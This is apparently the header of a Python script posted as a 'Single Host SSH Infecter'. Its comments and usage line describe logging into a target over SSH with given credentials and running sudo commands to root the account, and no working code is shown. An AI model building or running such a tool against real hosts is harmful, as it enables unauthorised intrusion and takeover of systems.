[Python] Single Host SSH Infecter

#!/usr/bin/python
# This is auto-infecter for SSH port tcp/22
# You can auto-connect to the target and send
# sudo commands, this was/is mainly used for rooting
# a sudo user on your via target but you can use this
# for whatever you'd like, I have a few good usages for it.
#
#                  Execution:
#   python Infect_One_Host.py <target> <username> <password>
